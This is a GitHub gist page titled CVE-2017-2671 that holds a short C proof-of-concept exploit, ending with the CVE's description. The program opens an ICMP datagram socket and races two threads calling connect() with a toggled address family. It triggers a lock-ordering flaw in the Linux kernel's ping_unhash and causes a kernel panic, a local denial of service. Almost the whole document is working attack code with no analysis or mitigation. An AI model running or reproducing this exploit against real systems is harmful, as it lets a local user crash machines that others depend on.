Last active
June 8, 2017 05:40
-
-
Save imv7/9cf3e32024aec08b5298048c20b5e99a to your computer and use it in GitHub Desktop.
CVE-2017-2671
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <stdio.h> | |
#include <sys/socket.h> | |
#include <arpa/inet.h> | |
#include <stdlib.h> | |
static int sockfd = 0; | |
static struct sockaddr_in addr = {0}; | |
void fuzz(void * param){ | |
while(1){ | |
addr.sin_family = 0;//rand()%42; | |
printf("sin_family1 = %08lx\n", addr.sin_family); | |
connect(sockfd, (struct sockaddr *)&addr, 16); | |
} | |
} | |
int main(int argc, char **argv) | |
{ | |
sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP); | |
int thrd; | |
pthread_create(&thrd, NULL, fuzz, NULL); | |
while(1){ | |
addr.sin_family = 0x1a;//rand()%42; | |
addr.sin_port = 0; | |
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); | |
connect(sockfd, (struct sockaddr *)&addr, 16); | |
addr.sin_family = 0; | |
} | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The ping_unhash function in net/ipv4/ping.c in the Linux kernel through 4.10.8 is too late in obtaining a certain lock and consequently cannot ensure that disconnect function calls are safe, which allows local users to cause a denial of service (panic) by leveraging access to the protocol value of IPPROTO_ICMP in a socket system call.